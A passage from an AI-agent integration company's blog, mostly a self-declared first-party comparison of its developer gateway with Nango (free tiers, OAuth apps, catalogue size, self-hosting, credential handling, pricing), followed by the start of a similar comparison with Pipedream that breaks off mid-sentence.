code you own and can read, if you need provider data replicated into your own database, or if your users have to see your company's name on the consent screen, Nango is the better buy today and we'll show you why below. An earlier version of this page implied Nango pushes you to register your own OAuth app before launch; its auth guide now says plainly that "Nango-managed OAuth apps can be used in production", and we have corrected that below. Decide it on Friday with three questions: how many users will connect before you charge anyone, whether you need syncs, and whether you can afford to register OAuth apps with every provider before your first call. ``` > **Published by Agentic Fabriq.** This is a first-party comparison: we make one of the two products on it, > so read it as our argument rather than an independent test. We score neither product and we call nothing > here independent. **Comparison checked: 29 October 2026.** Every Nango claim below links to Nango's own > current pricing page, documentation or repository, with the date we read it; where a figure is not > published on a primary source we say so instead of estimating, and where a figure or a recommendation has > changed since our first reading we show both. Fabriq figures come from our own > [pricing page](https://www.agenticfabriq.com/pricing), the [Fabriq Developer page](/developers), the > [Developer Quickstart](/docs/dev-quickstart), and the generated provider catalogue in our codebase. ## Overview {#overview} We've argued the governance side of this market twice, in [10 Best AI Agent Integration Platforms](/blog/best-ai-agent-integration-platforms) and [Composio alternatives](/blog/composio-alternatives). Both rank on agent identity, per-user authority and audit, because that's what a security review asks. This page doesn't. A two-person team at pre-seed has no security review. It has a Friday afternoon, a demo on Tuesday, and a worry about whether today's choice survives six months. For that reader the decisive facts are narrow and boring. What the free tier actually covers. How many providers are reachable, and reachable *how*. How long until a tool call returns real data. Whether you have to register an OAuth app with Google before anything works. And who ends up holding your user's access token. Nango and Agentic Fabriq both answer those questions, and they are not the same kind of product. Nango is an integration platform: unified auth, a proxy, functions you deploy, syncs that replicate provider data into a records cache, and webhooks. Its repository describes it as a way to "connect your agents & product to 1,000 APIs", and agent sessions expose your deployed functions to a model over MCP. Fabriq Developer is narrower. It's a hosted gateway that holds your users' credentials, attaches them server-side at call time, and serves tools to an agent over one MCP endpoint. One of those you run. The other you call. That's the axis this page is about. > **The question underneath all of this:** are you buying infrastructure to operate, or a dependency to call? > Nango will give you more control than Fabriq and ask you to do more work for it. Both answers are defensible. > Picking the wrong one costs you a migration six months in. ## The Free Tiers Are Not Comparable {#free} Start here. It's where the two diverge hardest and where most comparison pages wave a hand. Nango's free plan is $0 a month with three limits: 10 connections, 10 hours of compute, 10GB of transfer. The first one decides everything, and Nango's pricing FAQ is direct about what it counts: "1 Connection = 1 API key or access token of the external API. For example: 3 users connect their Gmail = 3 connections." If your product asks for Gmail and Slack, every user costs two of your ten. Five users and you're done. Free-tier requests are also rate limited to 200 a minute, against 1,000 on the paid plan. Past that, Pay-as-you-go is $50 a month base including $50 of monthly credits, then $0.29 per connection, $0.72 per hour of function compute and $0.50 per gigabyte of transfer, with connections prorated by how long they sit in your account. A thousand users with two tools each is 2,000 connections, or $580 a month before any compute. Fabriq Developer's free plan is priced on a different unit. It's free forever with 20,000 API calls a month, unlimited agents, per-agent tool permissions, request logs, live sessions, and the Python SDK, the `afctl` CLI and the MCP endpoint. A call is any request your agent makes through Fabriq, which includes authenticating and retrieving credentials, not just the tool call itself. That unit is coarser than a tool call, and we'd rather say so than let you find out from an invoice. The paid steps are $50 a month for 200,000 calls and $300 a month for 2,000,000 ($2.50 and $1.50 per 10,000 included calls), with add-on calls at $2 per 10,000 on either paid plan. The free plan's real limitation is not the call ceiling. It is that our shared provider apps sit behind a paid plan: on Free, your users authorize through an OAuth app you register, which is the same paperwork Nango's free plan asks of you if you choose your own app there. The practical difference: connecting users isn't a billing event on Fabriq, and making calls isn't one on Nango's free tier. Onboard forty design partners who each connect one tool and Nango's free plan runs out while Fabriq's doesn't. Run a batch job that hits one connected account a hundred thousand times and the reverse is true. ## Whose OAuth App You Register {#oauth} This is the biggest single difference in time to first tool call, and it rarely makes it into a comparison table. We had this section wrong, and the correction is worth more than the original claim. Nango's auth guide does open with "OAuth APIs require an OAuth developer app registered with the provider" — but the very next sentence is "If the API has a Nango-managed OAuth app, you can use it and skip the rest of this step," and its managed-app section now states flatly: "Nango-managed OAuth apps can be used in production." When we first published this page on 2026-10-12 we quoted a line recommending you register your own app before going live. That line is not on the page we read on 2026-10-29. So Nango is *not* asking you for a Cloud project before your first call, and we should not have implied it was. What Nango does instead is publish the honest tradeoff list for a shared app, which is better practice than a recommendation anyway. Register your own, it says, if any of these matter: "Whitelabel auth — with a Nango-managed app, the consent screen shows Nango, not your product"; fixed scopes, where "Your own app can request any scope the provider offers"; a custom callback URL on your domain; provider marketplace listings; and first-party-only API features. Two more are worth quoting in full. "Revocation risk — most providers don't allow shared credentials. If a provider revokes a Nango-managed app, every connection using it stops working." And portability: "only with your own app can you export access and refresh tokens and move off Nango without users re-authorizing." Nango also notes these "apply to shared OAuth apps from any auth platform, not just Nango", which includes ours. Every item on that list is true of our shared apps too. For production Nango also recommends an endpoint on your own domain that 308-redirects to `https://api.nango.dev/oauth/callback`, so the callback domain your users see belongs to you, and it warns that retrofitting that later can break authorization flows. Fabriq's catalogue lists three connection methods per provider: Agentic Fabriq's OAuth app, your own OAuth app, and a credential your user supplies. Ours comes with a plan boundary rather than a recommendation. On the Free plan you bring your own OAuth app. On Launch or Growth our shared apps cover non-restricted scopes after a one-time attestation, which includes Calendar, Sheets, Docs, Slack and Notion. Gmail and full Google Drive are restricted scopes under Google's policy and go through your own Google app on every plan — so if Gmail is your integration, you are in Google's verification queue on either platform, and the honest version of this section is that neither of us can make that go away. Where Nango is better here, plainly: portability. With your own client on Nango you can export access and refresh tokens and leave without making your users reconnect. Our external-user flow has no raw-token export path at all, which is a security property on purpose and a lock-in cost in practice. ```mermaid flowchart TD subgraph N["Nango: first tool call"] N1["Sign up free"] --> N2["Nango-managed OAuth app,<br/>or register your own"] N2 --> N3["If your own: paste client id<br/>+ secret into the integration"] N3 --> N4["Enable a template<br/>action function"] N4 --> N5["Connect session<br/>user authorizes"] N5 --> N6["Agent session<br/>mcp_url + session_token"] end subgraph F["Fabriq Developer: first tool call"] F1["Register agent in console<br/>app id + app secret"] --> F2["pip install<br/>agentic-fabriq-sdk"] F2 --> F3["initiate_connection(request,<br/>provider='gmail')"] F3 --> F4["for_user(request)<br/>session"] F4 --> F5["session.call_tool(...)"] end ``` **Figure 1 — Neither path requires provider paperwork to start: Nango ships managed OAuth apps usable in production, and ours cover non-restricted scopes on a paid plan. The paperwork comes back for a restricted scope, for whitelabel consent, or for token portability.** On the Fabriq side the code is short enough to quote. You install `agentic-fabriq-sdk` for Python or `@agenticfabriq/sdk` for TypeScript, put `AF_APP_ID` and `AF_APP_SECRET` in the environment, and call two methods: ```python from af_sdk import AgenticFabriq af = AgenticFabriq() # reads AF_APP_ID / AF_APP_SECRET url = await af.initiate_connection(request, provider="gmail") # send the user here async with await af.for_user(request) as session: tools = await session.get_tools() # only what this user granted result = await session.call_tool("google_gmail_list_messages", {"max_results": 5}) ``` Note what isn't in that snippet: a user id. Both calls take your framework's request object and read identity from the session your own auth already established, because a user id as a parameter is a value your code, or a model inside it, can get wrong or invent. The escape hatch for background jobs is spelled `dangerously_use_raw_user_id`, which is hard to type by accident and easy to grep for. Nango's equivalent is a connect session created from your backend, returning a `connect_link` valid for 30 minutes, then an agent session whose tenant you express with connection tag selectors. Those have to resolve to exactly one connection per integration or creation fails with `ambiguous_connections`. Good design, and one more concept to learn on a Friday. ## Catalogue Size, Stated Plainly {#catalogue} Both vendors publish a headline number, and both numbers mean less than they look like. Nango's repository and docs say 1,000+ APIs, with new ones "added on demand within days, by request or self-contributed". Its pricing page on 2026-10-29 advertises "Auth for 1,000+ APIs" and "10,000+ tools, one server" — up from the "7k pre-built tools, triggers & syncs" we read on 2026-10-12. The contribution path is real and is part of why that number keeps moving. Fabriq's catalogue currently holds 511 providers and 62,678 catalogued actions. Of those, 125 have a live OAuth sign-in, 12 have OAuth in progress, and 374 have no OAuth flow at all and connect by credential instead; 87 can run on our own provider app and 116 accept an OAuth app you register. Those are counts out of the generated catalogue file in our own codebase, not marketing, and we'd rather you read them here than discover them halfway through an integration. There's a tighter number that matters more here. The end-user *OAuth* flow, the one where your customer clicks a link and signs in at the provider, drives thirteen providers end to end today: Gmail, Google Drive, Docs, Sheets, Slides, Calendar, Meet, Forms, Contacts and Chat, plus Slack, GitHub and Notion. Anything else returns a 400 from the initiate endpoint. Everything else goes through a credentials page we host, and we had this wrong too. An earlier version of this page said that page supported Notion only and that every other key-based connector was connected by you in a console. Our developer documentation now says the opposite and says it emphatically: there is no admin-entered credential path for external users, and 448 of the 511 providers reach that hosted page — 444 where your user supplies a credential, 4 (WhatsApp, Instagram, LinkedIn, Telegram) where they complete the provider's own sign-in instead. The ticket lives in the URL fragment, is single-use, expires in five minutes, allows three attempts, and the credential is probed against the provider before it is stored. > **If your product needs your users to self-connect a long tail of niche SaaS tools through a provider > sign-in this quarter, Fabriq Developer is the wrong tool and Nango is the right one.** Thirteen > OAuth providers is thirteen, however large the catalogue and the credentials page behind them. ## Self-Hosting, With the Asterisk {#selfhost} Nango being open source is the reason a lot of developers shortlist it, so it's worth being precise about what that gets you in October 2026. The repository's LICENSE file is the Elastic License 2.0, which is source-available rather than OSI open source. Its central limitation reads: "You may not provide the software to third parties as a hosted or managed service, where the service provides users with access to any substantial set of the features or functionality of the software." For almost every product team that's irrelevant, since you're embedding integrations in your own app rather than reselling Nango. Anyone planning to offer an integration layer to their own customers as a service should read it twice. The self-hosting docs list three paths: BYOC, where "Nango deploys and operates your instance inside your own AWS account, GCP project or Azure subscription"; Self-Managed, where "you deploy and operate Nango yourself, on your own infrastructure, using our Helm chart"; and Free Self-Hosted, "a limited free self-hosting option is available for hobby projects". Read the feature table before you plan around it. Free Self-Hosted covers API Auth, the Proxy, and observability limited to "Auth + proxy only". Syncs, tool calls, webhooks, triggers, the MCP server, RBAC, MFA, SAML SSO and the audit trail all need Enterprise self-hosting or Nango Cloud. Read that against what you probably wanted it for. If you came to Nango because you want an agent tool layer running inside your own VPC for free, the free build has no MCP server and no tool calls. That's in the docs rather than hidden in a changelog, but it isn't what "open source and self-hostable" suggests to a developer skimming a README. Fabriq's position here is worse on paper and we'll say it flatly. There is no public source to read and no free self-host. Installing into your own Kubernetes cluster on AWS or GCP via our Helm chart is available on a custom plan, which means talking to us. If self-hosting is a hard requirement at seed stage, Nango wins this section outright. ## The Shape of a Tool {#shape} Here the two architectures stop resembling each other, and it's where we'd spend the most evaluation time. In Nango, a tool is an action function. The docs are unambiguous: "Only action functions can be tools." You enable a template function on an integration or write and deploy your own, and it runs provider-specific code with the connected account's credentials. Agent sessions expose a chosen subset of those functions over an MCP server at a per-session `mcp_url`, authenticated with a `session_token`. Sessions are immutable, can't be extended, default to 15 days, and die on a `DELETE`, after which that MCP server answers 401. The context handling there is genuinely good. By default nothing in the toolset is listed; `tools/list` returns Nango's meta tools plus whatever you explicitly pinned, paginated 50 at a time, and the agent finds the rest with a `nango_tool_search` meta tool. That keeps a large toolset out of a context window it would otherwise fill with definitions the model never calls. One documented sharp edge: Nango warns that with the `nango_proxy` meta tool enabled, "the agent can call any endpoint of a connected integration in the toolset, including ones your deny list was meant to keep out." Leave it off unless you need it. The trade is that the tool surface is code you own, so it's also code you maintain. Nango gives you real tooling for that: dry runs, mocks, snapshot tests, a CI/CD path, plus syncs with a records cache, checkpoints and deletion detection if what you need is replicated provider data rather than live calls. Fabriq has nothing comparable to syncs. If your roadmap says "RAG over the customer's Drive, refreshed hourly", that's a Nango job. Fabriq's tool surface is served from the gateway instead. One schema per tool, one MCP endpoint, and the effective tool list for a call is the intersection of what the user granted and what the agent is scoped to. The agent holds a short-lived session token, 900 seconds by default with a one-hour ceiling, re-minted 60 seconds before expiry, so calling `for_user` per request is the intended pattern rather than waste. The TypeScript SDK stops short of wrapping an MCP client: it hands you `token` and `mcpUrl` and expects you to bring your own. Some will read that as unfinished. We think it's right for a layer that shouldn't own your agent loop, and it's still one fewer convenience than Nango's Node SDK. ## Who Holds the Token {#token} Credential model is one of the nine dimensions in the [agent access control taxonomy](https://agenticfabriq.github.io/agent-access-control-taxonomy/), and it's where these two products' defaults point in opposite directions. Nango encrypts credentials with AES-256-GCM under an envelope scheme whose data key is wrapped by AWS KMS, which is a solid build, and it's SOC 2 Type II certified with a HIPAA BAA on an add-on. It also hands them back. The auth guide's second code sample is `nango.getConnection(integrationId, connectionId)`, described as how you "fetch credentials whenever you need them". Functions and the proxy let you avoid that, and agent sessions state plainly that "the agent never sees raw credentials, and cannot change the scope of its own session". But pulling the live access token into your own backend is a first-class documented path, which puts your logs, your error reporting and your incident response in scope for it. Fabriq's default runs the other way. In proxy mode the credential stays in the vault and is attached server-side at the moment of the call, so the agent gets a session and never the secret. Every token also records an `auth_level` for how the user was proven: `app_asserted` means we took your app's word for it, `app_signed` means your backend signed a 60-second single-use assertion with a private key we never hold, and `user_present` exists only for a moment after a human finished a connection and can't be renewed. You can require signed assertions and refuse unsigned token requests outright. One thing we don't do: disconnecting clears the grant held in our own vault and nothing more. If you need Google to forget, ask Google. ```mermaid sequenceDiagram participant A as Agent participant Y as Your backend participant P as Platform participant S as Provider API Y->>P: Nango path, getConnection(...) P-->>Y: live access token in your process Y->>S: your code calls the API A->>P: Fabriq path, call_tool with session token P->>P: attach vault credential server-side P->>S: authorized request S-->>P: response P-->>A: result, secret never returned ``` **Figure 2 — Both platforms can do both shapes. The difference is which one the documentation puts first, and defaults decide what most teams ship.** Neither default is wrong. If you're writing integration code yourself you need the token, and Nango handing it over is the feature. With an LLM in the loop we'd keep the secret out of any process the model can influence, which is why proxy mode is our default rather than our option. ## Side by Side, Eight Dimensions {#side-by-side} One table, eight dimensions, every Nango cell sourced to a Nango page we read on **2026-10-29**. Where a figure is not published on a primary source, the cell says so rather than carrying a guess, and no row here is scored. | Dimension | Nango | Fabriq Developer | Nango source, read 2026-10-29 | |---|---|---|---| | Provider coverage | "Auth for 1,000+ APIs" and "10,000+ tools, one server"; the repository says "Connect your agents & product to 1,000 APIs", with new APIs "added on demand within days, by request or self-contributed" | 511 providers, 62,678 catalogued actions; 125 with a live OAuth sign-in, 12 in progress, 374 credential-only; 13 on the end-user OAuth path, 448 on the hosted credentials page | [pricing](https://www.nango.dev/pricing), [repository](https://github.com/NangoHQ/nango) | | User-connection model | A connect session created from your backend returns a `connect_link` "valid 30 minutes"; an agent session then addresses a tenant with connection tag selectors, which must resolve to exactly one connection per integration or creation fails `ambiguous_connections` | `initiate_connection(request, provider)` then `for_user(request)`; identity is read from your framework's session, so no method takes a user id, and the background-job escape hatch is spelled `dangerously_use_raw_user_id` | [auth guide](https://nango.dev/docs/guides/auth/auth-guide), [agent sessions](https://nango.dev/docs/guides/agent-sessions) | | Who owns the OAuth app | Either. "Nango-managed OAuth apps can be used in production", with a published tradeoff list for shared apps: Nango on the consent screen, fixed scopes, Nango's callback URL, no marketplace listing, no first-party-only API features, revocation risk, and no token export | Either. Our shared apps on a paid plan for non-restricted scopes after a one-time attestation; your own app on Free; Gmail and full Google Drive always your own Google app | [auth guide](https://nango.dev/docs/guides/auth/auth-guide) | | Credential handling | AES-256-GCM envelope encryption with the data key wrapped by AWS KMS, SOC 2 Type II. Handing the credential back is a documented first-class path: `nango.getConnection(integrationId, connectionId)`. Agent sessions state that "the agent never sees raw credentials, and cannot change the scope of its own session" | Vault-held at a path derived from org, agent, external user, tool and connection id, attached server-side at call time. No retrieval path in the external-user flow, which is a security property and a portability cost | [security](https://nango.dev/docs/guides/platform/security), [auth guide](https://nango.dev/docs/guides/auth/auth-guide), [agent sessions](https://nango.dev/docs/guides/agent-sessions) | | SDK / framework support | Node SDK, REST API and an MCP server at a per-session `mcp_url` authenticated with a `session_token`; tools are action functions you deploy, with dry runs, mocks, snapshot tests and a CI/CD path | Python `agentic-fabriq-sdk` and TypeScript `@agenticfabriq/sdk`, one MCP endpoint, and `to_openai_tools()` / `to_anthropic_tools()` / `to_langchain_tools()`. The TypeScript SDK hands you a token and an MCP URL rather than wrapping an MCP client | [agent sessions](https://nango.dev/docs/guides/agent-sessions), [tool calling](https://nango.dev/docs/getting-started/use-cases/tool-calling) | | Audit access | A "Detailed log of all changes in your account" and realtime OpenTelemetry log export are Enterprise features; 15-day log retention and 30/60-day record retention are published on the limits and security pages | Request logs and live sessions on the Free plan; each call records the agent, the acting user, the tool and the outcome, denials included | [pricing](https://www.nango.dev/pricing), [limits](https://nango.dev/docs/guides/platform/limits), [security](https://nango.dev/docs/guides/platform/security) | | Pricing unit | Three meters: the connection ("1 Connection = 1 API key or access token of the external API"), function compute by the hour, and data transfer by the gigabyte. Free is 10 / 10 hours / 10GB; Pay-as-you-go is $50 a month with $50 of credits, then $0.29 per connection, $0.72 per compute hour, $0.50 per GB | One meter: an API call, including authenticating and retrieving credentials. No per-connected-user line on any published plan | [pricing](https://www.nango.dev/pricing) | | Self-hosting | Three paths, and the strongest answer on this page. BYOC ("Nango deploys and operates your instance inside your own AWS account, GCP project or Azure subscription") and Self-Managed (your own infrastructure, their Helm chart) both need Enterprise. Free Self-Hosted covers API Auth and the Proxy only; syncs, tool calls, webhooks, triggers, the MCP server, RBAC, MFA, SAML SSO and the audit trail are all excluded | Helm install into your own Kubernetes cluster on AWS or GCP on a custom plan; every other plan runs on our managed cloud. No free self-hosted build and no public source | [self-hosting](https://nango.dev/docs/guides/platform/self-hosting) | The row that decides most of this is the pricing unit. Nango bills the connected account; we bill the request. Forty design partners on one tool each costs ten of Nango's ten free connections and nothing of our 20,000 calls; a batch job hammering one account inverts that completely. ## Which to Choose {#pick} No single winner here. **Choose Fabriq Developer when** your free-tier ceiling should be calls rather than connected users — forty design partners on one tool each is the case that breaks Nango's free plan and not ours; when identity should come from the session your own auth established rather than a tenant selector your code resolves; when you want the credential to stay out of the agent's process by default rather than by discipline, with no retrieval API to misuse; when the providers you need sit in the Calendar, Sheets, Docs, Slack, Notion or GitHub cluster; or when you want per-call audit records on a free plan rather than on an Enterprise one. [Fabriq Developer](/developers) and the [Developer Quickstart](/docs/dev-quickstart) are the two pages to read next, in that order. **Consider Nango when** self-hosting is a hard requirement — this is its clearest advantage and we have no answer to it below a custom plan. Also when you want integration code you own and can read; when you need provider data replicated into your own store with change detection, which we have no equivalent for at all; when token portability matters, because only Nango lets you export access and refresh tokens and leave without making users reconnect; when your provider list runs into the long tail of B2B SaaS where a provider sign-in matters; or when your users must see your brand on the consent screen and a custom callback URL on your own domain. **Pick both** is not a cop-out: Nango for syncs and owned integration code, Fabriq for the agent-facing tool surface. They don't fight. Think hard before running two credential stores, though. That's two breach surfaces. ## Frequently Asked Questions {#faq} **Is Nango open source?** The repository is public and its LICENSE file is the Elastic License 2.0, which is source-available rather than OSI open source. You can read, modify and run it, but not offer it to third parties as a hosted service providing "any substantial set of the features or functionality of the software". **Can I self-host Nango for free?** Yes, with a limited feature set. The docs describe the free option as being "for hobby projects", covering API Auth and the Proxy. Syncs, tool calls, webhooks, triggers and the MCP server require Enterprise self-hosting or Nango Cloud. **Can I self-host Agentic Fabriq?** Only on a custom plan, via a Helm chart into your own Kubernetes cluster on AWS or GCP. No free self-hosted build, no public source. Nango is ahead here. **Do I have to register my own OAuth app?** On neither platform, to start. Nango's auth guide says "Nango-managed OAuth apps can be used in production" and publishes the tradeoffs of a shared app rather than a recommendation against it. On Fabriq, our shared provider apps cover non-restricted scopes on a paid plan after a one-time attestation; on the Free plan you bring your own; and Gmail and full Google Drive use your own Google app on every plan because Google treats those scopes as restricted. (An earlier version of this answer said Nango recommends registering your own app before going live. That line is no longer on its auth guide, and the correction is in Nango's favour.) **How many integrations does each have?** Nango advertises "Auth for 1,000+ APIs" and "10,000+ tools, one server". Fabriq's catalogue holds 511 providers and 62,678 catalogued actions: 125 with a live OAuth sign-in, 374 that connect by credential. The end-user OAuth flow drives thirteen of them end to end, and 448 providers reach the hosted credentials page your user fills in. **Which free tier goes further?** It depends on the axis. Nango gives you 10 connections, 10 compute hours and 10GB a month, and its managed OAuth apps are usable in production. Fabriq gives you 20,000 calls a month and unlimited agents with no per-user charge, but no access to our shared provider apps until a paid plan. Forty design partners fit on one and not the other; a whitelabel-free launch with no OAuth registration fits on the other and not the one. **Does either stop an agent calling a tool it shouldn't?** Both narrow the surface. Nango's sessions take an allow and deny toolset and the agent can't change its own scope. Fabriq's effective tool list is the intersection of the user's scopes and the agent's, computed when the list is built and again at call time. Neither replaces not granting write access you don't need. ## Conclusion {#conclusion} These two look similar in a feature grid and feel nothing alike in practice, because they sit on opposite sides of one decision. Nango hands you the materials: your OAuth app, your function code, your records cache, optionally your own infrastructure. Fabriq hands you an endpoint and keeps the materials. At pre-seed the cost of the first option is almost never the subscription. It's the afternoon learning a function runtime and the decision about whose OAuth app to register, both spent before you know whether anyone wants the feature. The second option bills you later, as a ceiling you hit when the provider you need isn't in the thirteen, when you want our shared apps on a free plan, or when a customer asks to see their own name on the consent screen. > **Our advice, and we're not neutral:** start with whichever one gets a real tool call returning real data > today, then write down the one fact that would force you to switch. "We need our own consent screen." "We > need Xero." "We need this in our VPC." A named trigger beats a six-month architecture argument. ## Sources {#sources} All Nango URLs re-read **2026-10-29**; where a figure or a recommendation changed since this page was first published on 2026-10-12, both readings are given above. - [Nango pricing](https://www.nango.dev/pricing) — Free at 10 connections / "10 hours / mo" compute / "10GB / mo" transfer; Pay-as-you-go at "$50 /mo" with "$50 in credits, each month", then "$0.29 / connection", "$0.72 / hour", "$0.5 / GB"; "Auth for 1,000+ APIs" and "10,000+ tools, one server"; self-hosting and BYOC on Enterprise; "Detailed log of all changes in your account" and realtime OpenTelemetry log export on Enterprise; the FAQ definition "1 Connection = 1 API key or access token of the external API. For example: 3 users connect their Gmail = 3 connections" (checked 2026-10-29; the page read "7k pre-built tools, triggers & syncs" on 2026-10-12) - [Nango self-hosting](https://nango.dev/docs/guides/platform/self-hosting) — BYOC ("Nango deploys and operates your instance inside your own AWS account, GCP project or Azure subscription"), Self-Managed ("You deploy and operate Nango yourself, on your own infrastructure, using our Helm chart"), both Enterprise-only, and Free Self-Hosted for hobby projects offering "Auth and Proxy, without the managed features and support included with Enterprise self-hosting"; the feature table shows syncs, tool calls, webhooks, triggers, the MCP server, RBAC, MFA, SAML SSO and the audit trail all excluded from the free build (checked 2026-10-29) - [Nango auth guide](https://nango.dev/docs/guides/auth/auth-guide) — "OAuth APIs require an OAuth developer app registered with the provider. If the API has a Nango-managed OAuth app, you can use it and skip the rest of this step"; "Nango-managed OAuth apps can be used in production"; the shared-app tradeoff list (whitelabel auth, fixed scopes, callback URL, marketplace listings, first-party API features, revocation risk, portability) and the note that these "apply to shared OAuth apps from any auth platform, not just Nango"; the 308-redirect custom callback URL; the 30-minute `connect_link`; and `nango.getConnection(integrationId, connectionId)` returning credentials (checked 2026-10-29 — the "strongly recommend registering your own OAuth app before going live" line we quoted on 2026-10-12 is no longer present) - [Nango agent sessions](https://nango.dev/docs/guides/agent-sessions) — tenant/toolset/discovery, `mcp_url` plus `session_token`, pinned versus searchable tools, "Only action functions can be tools", and the `nango_proxy` deny-list warning (checked October 2026) - [Nango limits](https://nango.dev/docs/guides/platform/limits) — 200 requests per minute on free and 1,000 on Pay-as-you-go, 15-minute action function ceiling, 15-day log retention, 30-second minimum sync frequency (checked October 2026) - [Nango security](https://nango.dev/docs/guides/platform/security) — SOC 2 Type II, AES-256-GCM with envelope encryption under AWS KMS, 1-year audit trail, 30/60-day record retention (checked October 2026) - [Nango repository](https://github.com/NangoHQ/nango) and its [LICENSE](https://github.com/NangoHQ/nango/blob/master/LICENSE) — "Connect your agents & product to 1,000 APIs", Elastic License 2.0 and its hosted-service limitation (checked October 2026) - [Nango tool calling for AI agents](https://nango.dev/docs/getting-started/use-cases/tool-calling) — action functions as the tool surface, and the pointer to syncs for RAG-style replication (checked October 2026) - [Elastic License 2.0](https://www.elastic.co/licensing/elastic-license) — the licence text Nango ships under - [Agentic Fabriq pricing](https://www.agenticfabriq.com/pricing) — ours: Free forever at 20,000 calls a month with unlimited agents, bring-your-own OAuth app and no access to our shared provider apps; Launch at $50 for 200,000 calls and Growth at $300 for 2,000,000, which is $2.50 and $1.50 per 10,000 included calls; add-on calls at $2 per 10,000; shared provider apps for non-restricted scopes on a paid plan after a one-time attestation; Gmail and full Google Drive on your own Google app on every plan; Helm self-install on AWS or GCP on a custom plan; what counts as an API call (checked 2026-10-29) - [Fabriq Developer](https://www.agenticfabriq.com/developers) and the [Developer Quickstart](https://www.agenticfabriq.com/docs/dev-quickstart) — ours: `AF_APP_ID` / `AF_APP_SECRET`, `initiate_connection`, `for_user`, 900-second tokens, the `auth_level` ladder, the thirteen end-user OAuth providers, and the hosted credentials page — an end-user flow, not an admin one, covering roughly 450 providers, with WhatsApp, Instagram, LinkedIn and Telegram signing in rather than pasting (checked 2026-10-29) - [Agent access control taxonomy](https://agenticfabriq.github.io/agent-access-control-taxonomy/) — the credential, delegation and identity model dimensions used above ================================================================================ ## Fabriq Developer vs Pipedream: The Free Tier, the Credits and the Tool Surface URL: https://www.agenticfabriq.com/blog/fabriq-developer-vs-pipedream Published: 2026-10-12 Author: Paulina Xu Summary: Pipedream's free plan is development-only, its credits meter 30 seconds of compute, and its MCP server is one app at a time. First-party, checked 29 October 2026. ```tldr **Pipedream's free plan does not run in production, and that single fact decides most of this comparison.** The pricing page marks the free tier "Development only", and the Connect docs cap the development environment at 10 external user IDs, with the caveat that you "must be signed in to pipedream.com in the same browser" while connecting. Real customers need the Startup plan at $99 a month. The second fact is that Pipedream prices an agent's work in compute. A tool call through MCP costs 1 credit per 30 seconds, Startup includes 10,000 credits, and additional credits are $0.012 each. That's a workflow runner's meter attached to a loop that may call ten tools to answer one question. The usual framing of Pipedream as "the workflow platform with a huge connector catalogue" is now out of date in a way that matters. Pipedream announced that Workflows and String shut down on 31 March 2027, with all Workflows data, including connected-account credentials, deleted by 30 April 2027. Connect is explicitly unaffected and is where the company says its focus is going. None of this makes Pipedream the wrong choice. 3,000+ connectors against our 511 providers is not close, and its end-user connect flow reaches all of them where our end-user OAuth flow reaches thirteen. Pick on volume shape: how many users, how many tool calls each, and whether you need the long tail today. ``` > **Published by Agentic Fabriq.** This is a first-party comparison: we make one of the two products on it, > so read it as our argument rather than an independent test. We score neither product and we call nothing > here independent. **Comparison checked: 29 October 2026.** Every Pipedream claim below links to > Pipedream's own current pricing page or documentation, with the date we read it; where a figure is not > published on a primary source we say so instead of estimating. Fabriq figures come from our own > [pricing page](https://www.agenticfabriq.com/pricing), the [Fabriq Developer page](/developers), the > [Developer Quickstart](/docs/dev-quickstart), and the generated provider catalogue in our codebase. ## Overview {#overview} Our other pages on this market, [10 Best AI Agent Integration Platforms](/blog/best-ai-agent-integration-platforms) and [Composio alternatives](/blog/composio-alternatives), rank platforms on identity, per-user authority and audit. That's the right axis for a security review and the wrong one for a seed-stage team picking something on a Friday. This page is the Friday version: free tier, catalogue, time to first tool call, OAuth paperwork, and who holds the token. Pipedream and Agentic Fabriq arrive at the same job from different histories. Pipedream spent years as a workflow runner with an enormous component registry, then built Connect on top of it: a managed-auth layer with SDKs and a remote MCP server. Fabriq Developer never had the workflow half. It's a gateway that holds your users' credentials and serves tools to an agent over one MCP endpoint. That history still shows in the billing unit, in how the tool surface is addressed, and in what the free tier is for. Those are the three things we'd check before writing any code, so that's the order below. Every Pipedream number here comes from a page we re-read on 2026-10-29, and where a figure isn't published we say so rather than guess. > **The one-line version:** Pipedream gives you far more reach and meters your agent's loop by compute time. > Fabriq gives you less reach and a call pool that doesn't care how long a call takes. ## What You're Buying Now {#sunset} Start with the thing that would have been wrong to write from memory. Pipedream's docs carry a notice titled "Workflows and String Are Shutting Down on March 31, 2027". The reasoning is stated directly: "We've decided we're focusing on being the integration layer companies rely on to connect AI to the outside world, and Workflows falls outside that focus." The operational details matter if you were planning to use workflows as glue. Workflows are in maintenance mode now, with no new signups or subscriptions and no new features. Existing ones keep running until the shutdown date. All Workflows data is permanently deleted by 30 April 2027, and the notice is explicit that this includes "the credentials and OAuth tokens for your connected accounts". There's an export tool that downloads workflow structure as JSON, one project at a time. Connect is carved out in the first line of the same notice: "If you're using our Connect API, MCP Servers, or API Proxy, nothing changes for you." So this isn't a company in trouble, it's a company that picked a lane, and the lane it picked is the one this comparison is about. Two practical consequences. First, if your plan involved an agent calling a tool that triggers a workflow that does the real work, that architecture has about five months left as something you can still build on. Second, the credit model you're about to be billed under was designed for workflow execution, and it hasn't changed shape now that the thing being executed is a tool call from a model. That's the next two sections. ## The Free Tier Is a Development Environment {#free} Pipedream's free plan gives you a lot and withholds one thing. The pricing page lists all build features, 3,000+ connectors, 10,000+ prebuilt tools, unlimited team members and community support, then marks the production environment and usage credits "Development only". The Connect docs put numbers on what development means. The environment is "limited to 10 unique external user IDs", and if you exceed that you have to delete some before adding more. When connecting an account in development mode you "must be signed in to pipedream.com in the same browser" where you're connecting. And the docs state the intent plainly: "Development mode is intended for your own accounts during testing and development, not for your real end users", with a warning that the environment "is not intended for production use with your customers." Read that against a seed-stage reality. You cannot put a development-environment Connect integration in front of ten design partners, because they'd each need a pipedream.com session in the same browser. The free plan is for you, on your laptop, with your own Gmail. It is a good free plan for that, and it is not a free plan you can ship. Production means Startup, at $99 a month billed monthly or $90 a month on annual billing, which includes production access, 100 users and 10,000 usage credits, with "then $2 per user" beyond the hundred. Business is custom and annual-only, adding SSO, SCIM, HIPAA, dedicated static IPs and SLAs. Fabriq Developer's free plan is shaped the other way. It's free forever with 20,000 API calls a month, unlimited agents, per-agent tool permissions, request logs, live sessions, the Python SDK, the `afctl` CLI and the MCP endpoint, and it runs in production with real customers on day one. There's no separate development environment and no per-user charge in the published plans. The paid steps are $50 a month for 200,000 calls and $300 a month for 2,000,000 ($2.50 and $1.50 per 10,000 included calls), with add-on calls at $2 per 10,000 on either paid plan. Our free plan has its own boundary, and it isn't the call ceiling. Agentic Fabriq's shared provider apps are a paid-plan feature: on Free your users 